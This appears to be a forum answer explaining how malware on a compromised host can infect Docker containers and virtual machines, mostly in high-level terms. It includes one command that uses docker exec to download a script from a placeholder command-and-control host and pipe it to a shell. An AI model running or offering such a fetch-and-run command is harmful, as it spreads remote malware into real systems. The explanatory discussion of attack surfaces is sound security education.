The first practical example that comes into my mind is Docker.
Containers are not VMs, but sort of, and the attack pattern is absolutely simple. Once you have taken control of the host machine, you can run commands such as
docker exec [runningContainerName] wget -q -O - https://c-and-c.com/evil-payload.sh | sh
The above command runs a privileged command in a running container, and infects the target container with remote malware. Think about any other possible alternative.
As for VMs, I can think of
You got control of the host, possibly of the kernel, so the malware can control the hypervisor and alter the behaviour of guest machine, access kernel memory areas of the guest, etc.
This is from a high-level perspective.
Once you infected the host machine with a malware, you can start from shutting down, deleting, dumping the VMs. If your virtualization engine supports a deeper interaction with the machines from shell commands, it is easier for the malware to do other evil
- Connect a USB virtual keyboard and type commnands?
- Run an executable like on Docker? (This is not something you normally do out-of-the box without a PCI virtual controller)
- Switch virtual networks and do evil things on traffic?
Pratically, it all depends on the complexity of the malware and the level of interaction provided by virtualization engine. Targeted malware can do targeted action..
I can also think the malware can infest/infect the UEFI firmware of the guest machines to run code on boot (I'm thinking about some UEFI bloatware currently on the market, but to run other malware on the VM)